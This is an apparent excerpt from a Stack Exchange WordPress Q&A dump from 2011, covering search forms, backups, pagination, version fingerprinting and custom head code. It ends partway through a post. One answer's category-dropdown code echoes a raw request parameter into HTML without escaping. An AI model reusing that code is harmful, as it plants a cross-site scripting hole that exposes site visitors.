  <row Id="10620" PostTypeId="2" ParentId="9982" CreationDate="2011-02-27T20:52:12.430" Score="0" ViewCount="" Body="&lt;p&gt;You need a Google Custom Search Engine&#xA;Replace your searchform with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;http://your.blog.url/index.php?s=&quot; id=&quot;cse-search-box&quot; class=&quot;searchform&quot;&amp;gt;  &#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cx&quot; value=&quot;your_CSE_ID&quot; /&amp;gt;  &#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;cof&quot; value=&quot;FORID:10&quot; /&amp;gt;  &#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;ie&quot; value=&quot;UTF-8&quot; /&amp;gt;  &#xA;  &amp;lt;label for=&quot;q&quot;&amp;gt;Search&amp;lt;/label&amp;gt;  &#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;s&quot; id=&quot;s&quot; value=&quot;&quot; /&amp;gt;  &#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;q&quot; id=&quot;q&quot; class=&quot;keyword&quot; /&amp;gt;  &#xA;&amp;lt;/form&amp;gt;  &#xA;&amp;lt;script&amp;gt;  &#xA;  jQuery('#q').bind('change', function() {  &#xA;    jQuery(this).val(function(i, val) {  &#xA;      jQuery('#s').val(val);  &#xA;      return val;  &#xA;    });  &#xA;  });  &#xA;&amp;lt;/script&amp;gt;  &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/cse/brand?form=cse-search-box&amp;amp;lang=de&quot;&amp;gt;&amp;lt;/script&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use this code for the searchresults (after displaying the internal results):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;cse-search-results&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;  var googleSearchIframeName = &quot;cse-search-results&quot;;&#xA;  var googleSearchFormName = &quot;cse-search-box&quot;;&#xA;  var googleSearchFrameWidth = 600;&#xA;  var googleSearchDomain = &quot;www.google.com&quot;;&#xA;  var googleSearchPath = &quot;/cse&quot;;&#xA;  &amp;lt;/script&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://www.google.com/afsonline/show_afs_search.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="3550" LastEditorDisplayName="" LastEditDate="2011-02-27T20:59:06.000" LastActivityDate="2011-02-27T20:59:06.000" />
  <row Id="10621" PostTypeId="2" ParentId="10604" CreationDate="2011-02-27T20:53:21.150" Score="0" ViewCount="" Body="&lt;p&gt;I use &lt;a href=&quot;http://vaultpress.com/&quot; rel=&quot;nofollow&quot;&gt;Vaultpress&lt;/a&gt; and works great. And the price includes the storage cost, while most other solutions, like &lt;a href=&quot;http://wordpress.org/extend/plugins/automatic-wordpress-backup/&quot; rel=&quot;nofollow&quot;&gt;Automatic Backup&lt;/a&gt; requiere you to have an FTP or S3 accounts and pay for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also worth mentioning that Vaultpress is continuous backup, and that you can download at anytime parts of the backup. For instance, the other day I edited my theme and made a mistake. Went to my Vaultpress account, downloaded only the themes backup files from one hour before and replaced the theme files with the backup ones. All took me about 10 mins. Fantastic.&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2011-02-27T20:53:21.150" />
  <row Id="10622" PostTypeId="1" AcceptedAnswerId="10630" CreationDate="2011-02-27T21:03:33.370" Score="0" ViewCount="139" Body="&lt;p&gt;Is it possible to get paged outside of the standard WP loop?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already use this inside the loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( $paged &amp;gt;= 2 ) { ?&amp;gt;  Some text for the 2nd page on up  &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'd like to be able to echo some text outside the loop on all pages two and greater. Possible? Or a better way?&lt;/p&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-02-27T22:29:06.367" LastActivityDate="2011-02-27T22:29:06.367" Title="Get paged outside of loop?" Tags="&lt;loop&gt;&lt;paged&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="10623" PostTypeId="1" CreationDate="2011-02-27T21:04:54.673" Score="0" ViewCount="109" Body="&lt;p&gt;I have a site with posts going back 5 years and I want to create a couple landing pages to highlight groups of posts. For example, I want to create a page about &quot;blue widgets&quot;. The page should include some new content that I will write about &quot;blue widgets&quot; and I want to dynamically include posts that match &quot;blue widgets&quot;. Any ideas on how to best accomplish this?&lt;/p&gt;&#xA;" LastActivityDate="2011-04-29T09:47:46.163" Title="Dynamic Landing Page" Tags="&lt;pages&gt;&lt;the-loop&gt;" AnswerCount="4" />
  <row Id="10624" PostTypeId="1" CreationDate="2011-02-27T21:07:09.833" Score="0" ViewCount="576" Body="&lt;p&gt;I've tried several chat plugins but none works well. I am looking for a plugin that allows visitors to chat using their existing facebook and/or twitter accounts. The chat has to be public.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried &lt;a href=&quot;http://www.envolve.com/&quot; rel=&quot;nofollow&quot;&gt;Envolve&lt;/a&gt; but the free version only allows for 15 simultaneous users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried &lt;a href=&quot;http://www.zopim.com/&quot; rel=&quot;nofollow&quot;&gt;Zopim&lt;/a&gt;, but it provides private chats with visitors and webmaster, not public chats.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions ?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastActivityDate="2011-09-04T10:42:01.837" Title="A good facebook chat plugin?" Tags="&lt;plugins&gt;&lt;facebook&gt;" AnswerCount="3" />
  <row Id="10625" PostTypeId="2" ParentId="10623" CreationDate="2011-02-27T21:08:32.280" Score="0" ViewCount="" Body="&lt;p&gt;Like an archive? &#xA;yoursite.com/archive/blue-widgets&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-02-27T21:08:32.280" />
  <row Id="10626" PostTypeId="1" AcceptedAnswerId="10637" CreationDate="2011-02-27T21:12:52.957" Score="0" ViewCount="149" Body="&lt;p&gt;How does &lt;a href=&quot;http://api2.wpquickinstall.com/what-version/&quot; rel=&quot;nofollow&quot;&gt;DD32's tool&lt;/a&gt; determine the WordPress version of an installation. Its not working fine for WP 3.1 but it doesn't uses meta generator tag or the readme.txt of WP. So what else can it be?&lt;/p&gt;&#xA;" OwnerUserId="1521" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-01T17:06:01.083" LastActivityDate="2011-03-01T17:06:01.083" Title="Remotely identify the version of a WordPress installation?" Tags="&lt;wordpress-version&gt;&lt;idea&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="10627" PostTypeId="2" ParentId="10617" CreationDate="2011-02-27T21:13:59.540" Score="0" ViewCount="" Body="&lt;p&gt;Yepp, if you really only use that hook, that would be the way to go. But it's pretty likely you also use a couple of WP functions...if so, you should check these functions, too, before going too low with your required version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, i wouldn't go below 2.0 (which i smore than 5 years old) for any new plugin. I think even going lower than 2.5, which is about 3 years old, is unnecessary.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-27T21:13:59.540" CommentCount="1" />
  <row Id="10628" PostTypeId="2" ParentId="10623" CreationDate="2011-02-27T21:17:21.300" Score="-1" ViewCount="" Body="&lt;p&gt;Create a &lt;a href=&quot;http://codex.wordpress.org/Pages#Creating_Your_Own_Page_Templates&quot; rel=&quot;nofollow&quot;&gt;page template&lt;/a&gt; and do a custom query over there, like posts from a certain tag, post title containing words on even in post_content or even a combined version of all of them. And I would strongly suggest you to cache the query results in a &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transient&lt;/a&gt; so as not to do those heavy queries everytime a page is generated.&lt;/p&gt;&#xA;" OwnerUserId="1521" LastActivityDate="2011-02-27T21:17:21.300" CommentCount="1" />
  <row Id="10629" PostTypeId="2" ParentId="10622" CreationDate="2011-02-27T21:18:07.720" Score="-2" ViewCount="" Body="&lt;p&gt;You can make a &quot;second&quot; Loop like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $posts = query_posts($query_string); if (have_posts()) : while (have_posts()) : the_post();&#xA;  if ($paged &amp;gt;= 2) {echo &quot;your content&quot;;}&#xA;endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can use the &lt;code&gt;$paged&lt;/code&gt; where ever you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like in the comments quoted this was not the best solution. It was really quick and dirty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a little test:&#xA;You can use &lt;code&gt;$paged&lt;/code&gt; outside the loop.&#xA;But you can query the active page where you want in the code with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_query_var('paged'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because the active page is a parameter of the active URL. For your question:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (get_query_var('paged') &amp;gt;=2) {&#xA;  echo &quot;text for pages from 2 and up&quot;;&#xA;} else {&#xA;  echo &quot;text for the first page&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3550" LastEditorUserId="3550" LastEditorDisplayName="" LastEditDate="2011-02-27T22:22:23.057" LastActivityDate="2011-02-27T22:22:23.057" CommentCount="3" />
  <row Id="10630" PostTypeId="2" ParentId="10622" CreationDate="2011-02-27T21:32:30.323" Score="4" ViewCount="" Body="&lt;p&gt;Here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( is_paged() )&#xA;  echo 'some text';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Conditional_Tags#A_Paged_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Conditional_Tags#A_Paged_Page&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-02-27T21:32:30.323" CommentCount="5" />
  <row Id="10631" PostTypeId="2" ParentId="10570" CreationDate="2011-02-27T21:56:39.670" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo remove_query_arg(array('mycat_go', 'cat')); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;?php&#xA;    // get selected category and do some initializations&#xA;    if (isset($_REQUEST['cat'])) $_REQUEST['mycat_go'] = $_REQUEST['cat'];&#xA;    $selected = $_REQUEST['mycat_go'];&#xA;    $selects = array();&#xA;    $last = 0;&#xA;    $top = false;&#xA;    $i = 0;&#xA;    // basically, we are looping from the selected up through the parents&#xA;    // till we have no parent anymore.&#xA;    while (!$top) {&#xA;        // prep query to generate field containing all child categories&#xA;        // of the selected one&#xA;        $args = array(&#xA;            'name' =&amp;gt; 'mycat_'.$i,&#xA;            'orderby' =&amp;gt; 'name',&#xA;            'echo' =&amp;gt; 0,&#xA;            'hierarchical' =&amp;gt; 1,&#xA;            'exclude' =&amp;gt; '4,5',&#xA;            'child_of' =&amp;gt; $selected,&#xA;            'depth' =&amp;gt; 1,&#xA;            'show_option_none' =&amp;gt; '--select--',&#xA;            'hide_if_empty' =&amp;gt; true,&#xA;        );&#xA;        if(!empty($last)) $args['selected'] = $last;&#xA;        // prepare next loop iteration or stop if we are displaying children of 0&#xA;        if (!empty($selected)) {&#xA;            $last = $selected;&#xA;            $category = get_category($selected);&#xA;            $selected = $category-&amp;gt;parent;&#xA;        } else {&#xA;            $top = true;&#xA;        }&#xA;        // generate output and store in reversed order as we are going bottom up&#xA;        $select = wp_dropdown_categories($args);&#xA;        $select = preg_replace(&quot;#&amp;lt;option([^&amp;gt;]*)&amp;gt;#&quot;, &quot;&amp;lt;option$1 onclick=\&quot;this.parentNode.name = 'mycat_go';return this.form.submit()\&quot;&amp;gt;&quot;, $select);&#xA;        array_unshift($selects, $select);&#xA;        $i++;&#xA;    }&#xA;    // print to screen&#xA;    foreach ($selects as $select) {&#xA;        echo $select;&#xA;    }&#xA;    ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;form action=&quot;&amp;lt;?php remove_query_arg(array('mycat_go', 'cat')); ?&amp;gt;&quot; method=&quot;get&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;cat&quot; value=&quot;&amp;lt;?php echo $_REQUEST['mycat_go']; ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Go there&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could use some polishing, but should work.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastEditorUserId="3104" LastEditorDisplayName="" LastEditDate="2011-03-01T19:08:18.930" LastActivityDate="2011-03-01T19:08:18.930" CommunityOwnedDate="2011-02-28T22:18:32.400" CommentCount="22" />
  <row Id="10632" PostTypeId="1" AcceptedAnswerId="10633" CreationDate="2011-02-27T22:00:54.067" Score="0" ViewCount="133" Body="&lt;p&gt;On this search results page:&#xA;&lt;a href=&quot;http://p2reloaded.com/?s=versions&amp;amp;search-submit=Search&quot; rel=&quot;nofollow&quot;&gt;http://p2reloaded.com/?s=versions&amp;amp;search-submit=Search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to inverse the order of the results to start by newest post date first at the top of the page. Right now it's showing older posts first. Is there a way to specify that in the WP search function through a URL parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I am had to install the Relevanssi plugin to get WP (or the theme?) to search using tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Noel&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-27T22:12:45.040" Title="How to have search results page sorted by post date" Tags="&lt;search&gt;&lt;date-time&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10633" PostTypeId="2" ParentId="10632" CreationDate="2011-02-27T22:12:45.040" Score="1" ViewCount="" Body="&lt;p&gt;WordPress will order search results by newest post first by default, so if your results are in a different order then it looks like another plugin is affecting them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried searching with all other plugins disabled?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Relevanssi, then it won't order results by date as Relvanssia overrides this with its own weighting algorithm instead (which is the whole point of using Relevanssi).&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-27T22:12:45.040" />
  <row Id="10635" PostTypeId="2" ParentId="10078" CreationDate="2011-02-27T22:27:59.673" Score="1" ViewCount="" Body="&lt;p&gt;As far as I know the only way to add styles to RSS feed items is by adding them inline (e.g. &lt;code&gt;&amp;lt;p style=&quot;color: #333; font-weight: bold;&quot;&amp;gt;Hello World&amp;lt;/p&amp;gt;&lt;/code&gt;). If you don't specify any styling, then the reader app/website that the end-user is using applies its default styles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Certainly editing &lt;code&gt;styles.css&lt;/code&gt; won't make any difference, because that files only styles your website, not the RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only way I can think of would be to add a filter to &lt;code&gt;the_content&lt;/code&gt;, check if it's a feed using the &lt;code&gt;is_feed&lt;/code&gt; conditional, then use regular expressions to add styles inline.&lt;/p&gt;&#xA;" OwnerUserId="2877" LastActivityDate="2011-02-27T22:27:59.673" CommentCount="1" />
  <row Id="10637" PostTypeId="2" ParentId="10626" CreationDate="2011-02-27T22:31:37.360" Score="2" ViewCount="" Body="&lt;p&gt;I'm just assuming here but this is usually done by fingerprinting for specific version files/directory's/code and sometimes even size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example you can remove all the meta versions tags ( isn't there like 12 places) and .txt file for 3.1 but since 3.1 is the only version to include the following new file by default, it is rather easy to fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-includes/js/l10n.js&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since each release has many new additions, if you spend enough time writing a smart bot, it not very hard to find release specific data. Hiding all this info would be a lot of work for every release. &lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-02-28T03:18:16.410" LastActivityDate="2011-02-28T03:18:16.410" CommentCount="4" />
  <row Id="10638" PostTypeId="2" ParentId="10594" CreationDate="2011-02-27T22:45:45.823" Score="5" ViewCount="" Body="&lt;p&gt;I would also like to add two more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Media content heavy&lt;/strong&gt; sites. Though WordPress has some great media options they are primarily blog centric in nature, which is to say the management is simple and linear. For  media heavy content that serve a lot of photos and video, especially multi-user based, WordPress is not a viable option yet ( example: any one of the million video sites).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Enterprise level security&lt;/strong&gt; sites. Though I don't think this is directly WordPress related, sites that need a high level of security, even if it's just a front-end blog, should probably not be using WordPress. ( Example: payment processors, banks, etc.).&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-02-27T22:52:11.513" LastActivityDate="2011-02-27T22:52:11.513" CommentCount="1" />
  <row Id="10639" PostTypeId="2" ParentId="10598" CreationDate="2011-02-27T23:00:40.293" Score="0" ViewCount="" Body="&lt;p&gt;That's a good catch. Here's a possible work around. Create the future post placeholder and set the date ahead in the publish date picker. Then copy either the permalink or use a URL shortner plugin like le petit URL to generate a short URL. Copy/paste either URL into the internal linker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot:&#xA;&lt;a href=&quot;https://skitch.com/noelsaw/r1ni7/edit-post-wpverse-wordpress&quot; rel=&quot;nofollow&quot;&gt;https://skitch.com/noelsaw/r1ni7/edit-post-wpverse-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3290" LastActivityDate="2011-02-27T23:00:40.293" CommentCount="1" />
  <row Id="10640" PostTypeId="2" ParentId="10463" CreationDate="2011-02-28T00:45:12.093" Score="8" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;How can we make Wordpress initialize&#xA;  its environment in memory only once,&#xA;  and then reuse it many times for each&#xA;  hit?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's called opcode-caching. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/PHP_accelerator&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/PHP_accelerator&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-28T00:45:12.093" CommentCount="2" />
  <row Id="10641" PostTypeId="2" ParentId="10626" CreationDate="2011-02-28T00:52:26.750" Score="3" ViewCount="" Body="&lt;p&gt;This is a bit of code I wrote a while back to do WP version detection in the most obvious ways: &lt;a href=&quot;http://ottodestruct.com/class-wp-detection.phps&quot; rel=&quot;nofollow&quot;&gt;http://ottodestruct.com/class-wp-detection.phps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other methods, more subtle and less obvious. His method is file fingerprinting. Basically checking for whether certain files exist or not.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-02-28T00:58:18.807" LastActivityDate="2011-02-28T00:58:18.807" CommentCount="1" />
  <row Id="10642" PostTypeId="2" ParentId="10604" CreationDate="2011-02-28T00:53:38.533" Score="1" ViewCount="" Body="&lt;p&gt;Since you guys haven't mentioned it yet then i'll have to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/backwpup/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;BackWPup&lt;/strong&gt;&lt;/a&gt; a free site and database backup plugin packed with features and easy to configure &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database Backup&lt;/li&gt;&#xA;&lt;li&gt;WordPress XML Export&lt;/li&gt;&#xA;&lt;li&gt;Optimize Database&lt;/li&gt;&#xA;&lt;li&gt;Check\Repair Database&lt;/li&gt;&#xA;&lt;li&gt;File Backup&lt;/li&gt;&#xA;&lt;li&gt;Backups in zip,tar,tar.gz,tar.bz2&#xA;format&lt;/li&gt;&#xA;&lt;li&gt;Store backup to Folder&lt;/li&gt;&#xA;&lt;li&gt;Store backup to FTP Server&lt;/li&gt;&#xA;&lt;li&gt;Store backup to Amazon S3&lt;/li&gt;&#xA;&lt;li&gt;Store backup to RackSpaceCloud&lt;/li&gt;&#xA;&lt;li&gt;Store backup to DropBox&lt;/li&gt;&#xA;&lt;li&gt;Send Log/Backup by eMail&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;when ever i have a client that is a bit too cheap on hosting and a propper backup server i just set him up with a dropbox account and this plugin creates and uploads the backup there, and if the plugin runs into trubles it sends the admin a log by mail.&#xA;i defintly recommend this as a free solution.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-28T00:53:38.533" />
  <row Id="10643" PostTypeId="1" AcceptedAnswerId="10647" CreationDate="2011-02-27T23:58:54.363" Score="0" ViewCount="47" Body="&lt;p&gt;I have some custom code that sits inside &lt;code&gt;&amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;&lt;/code&gt;.  When I install a new WordPress theme I have to edit the &lt;code&gt;header.php&lt;/code&gt; script each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to always include my custom code inside the head tags even when installing a new WordPress theme?&lt;/p&gt;&#xA;" OwnerUserId="3572" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-10T08:06:40.747" LastActivityDate="2011-05-10T08:06:40.747" Title="How can I show some standard html code across any theme I install?" Tags="&lt;themes&gt;&lt;custom-content&gt;" AnswerCount="1" />
  <row Id="10644" PostTypeId="2" ParentId="7001" CreationDate="2011-02-28T01:01:34.497" Score="1" ViewCount="" Body="&lt;p&gt;This line is wrong:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xPath = new DOMXPath(@$dom);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$xPath = new DOMXPath($dom);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-28T01:01:34.497" />
  <row Id="10645" PostTypeId="2" ParentId="10569" CreationDate="2011-02-28T01:05:38.987" Score="1" ViewCount="" Body="&lt;p&gt;You don't have the comment reply Javascript being enqueued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add this to your header, just before the wp_head() call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_singular() &amp;amp;&amp;amp; get_option( 'thread_comments' ) )&#xA;    wp_enqueue_script( 'comment-reply' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-02-28T01:05:38.987" CommentCount="3" />
  <row Id="10646" PostTypeId="2" ParentId="10626" CreationDate="2011-02-28T01:16:14.347" Score="0" ViewCount="" Body="&lt;p&gt;I know there's already been an accepted answer, but just throwing this out there. The way I do it is parse out the $wp_version variable from your blog dir's 'wp-includes/version.php' file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_wp_version() {&#xA; $versionFile = ABS_PATH.'/wp-includes/version.php'&#xA; // NO VERSION FILE //&#xA; if (($versionStr = @file_get_contents($versionFile))=='') return ''; &#xA;&#xA; $regex = &quot;wp_version.*'(?&amp;lt;wpVersion&amp;gt;.*)'&quot;;&#xA; if (preg_match('/'.$regex.'/', $versionStr, $matches)) {&#xA;  return $matches['wpVersion'];&#xA; }&#xA; return '';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3357" LastActivityDate="2011-02-28T01:16:14.347" CommentCount="1" />
  <row Id="10647" PostTypeId="2" ParentId="10643" CreationDate="2011-02-28T01:22:11.940" Score="1" ViewCount="" Body="&lt;p&gt;You want to create a new plugin for this. See: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a new file in /wp-content/plugins/ called headerstuff.php (or whatever)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Drop the following code in it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA; function header_code() {&#xA; $output .= &quot;&quot;; //code segment &#xA; echo $output;&#xA; }&#xA; add_action('wp_head', 'header_code');&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add your code between the quotation marks on the line starting with &quot;$output&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Activate, done!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1682" LastEditorUserId="1682" LastEditorDisplayName="" LastEditDate="2011-02-28T01:29:58.983" LastActivityDate="2011-02-28T01:29:58.983" CommentCount="5" />
  <row Id="10650" PostTypeId="1" CreationDate="2011-02-28T02:23:35.710" Score="0" ViewCount="96" Body="&lt;p&gt;I'm trying to remove old post tags from a few WP installs. In some instances, I have over 20k tags for a few thousand posts. I've tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;delete t.*,tt.*,tr.*&#xA;FROM wp_terms AS t&#xA;INNER JOIN wp_term_taxonomy as tt&#xA;INNER JOIN wp_term_relationships as tr&#xA;WHERE tt.term_id = t.term_id&#xA;AND tr.term_taxonomy_id = tt.term_taxonomy_id&#xA;AND tt.taxonomy = 'post_tag'&#xA;AND tt.count &amp;lt; 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is supposed to delete any tags that are used on less than 5 posts. After I run it, I noticed that a number of categories are deleted as well (taxonomy = 'category') and I'm stumped why? Anyone else managed to do this??&lt;/p&gt;&#xA;" OwnerUserId="3560" LastActivityDate="2011-03-07T05:43:36.957" Title="Deleting post tags removes categories" Tags="&lt;posts&gt;&lt;mysql&gt;&lt;tags&gt;" AnswerCount="2" />
  <row Id="10651" PostTypeId="1" AcceptedAnswerId="11562" CreationDate="2011-02-28T02:29:42.333" Score="0" ViewCount="282" Body="&lt;p&gt;Setup: WordPress v 3.0.4, multisite network enabled, Theme: Twentyten child, local installation with MAMP 1.9.4, PHP 5.3.2, using SUBFOLDERS (not subdomains) for 4 sub sites&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Problem: Same global navigation menu, but sub sites construct urls for categories different to urls constructed in main site.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In main site, an instance of a category link in the main navigation menu: --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;http://localhost/BHAKTIVEDANTAS-dev/public_html/blog/category/asides/&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note the '/blog/' directory. Selecting the link returns a page with the category's list of posts. This is as it should be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereas in sub sites, using the same main site navigation menu for global navigation, the link for the same category is constructed differently: --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;http://localhost/BHAKTIVEDANTAS-dev/public_html/category/asides/&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Note the absence of the '/blog/' directory. Selecting the link returns a 404 page. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to integrate the 4 sub sites together with the main site, I am using the main site's navigation menu for all by inserting the following code in the 'header.php' file for each of the sub sites. All other links on the navigation menu are working sitewide.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&amp;lt;?php /* for main site menu to&#xA;  display globally or sitewide */&lt;br&gt;&#xA;  switch_to_blog(1); ?&amp;gt;&#xA;                 &amp;lt;?php /* Our navigation menu.  If one isn't filled out, wp_nav_menu&#xA;  falls back to wp_page_menu.  The menu&#xA;  assiged to the primary position is the&#xA;  one used.  If none is assigned, the&#xA;  menu with the lowest ID is used.  */&#xA;  ?&amp;gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&amp;lt;?php wp_nav_menu( array(&#xA;  'container_class' =&amp;gt; 'menu-header',&#xA;  'theme_location' =&amp;gt; 'primary' 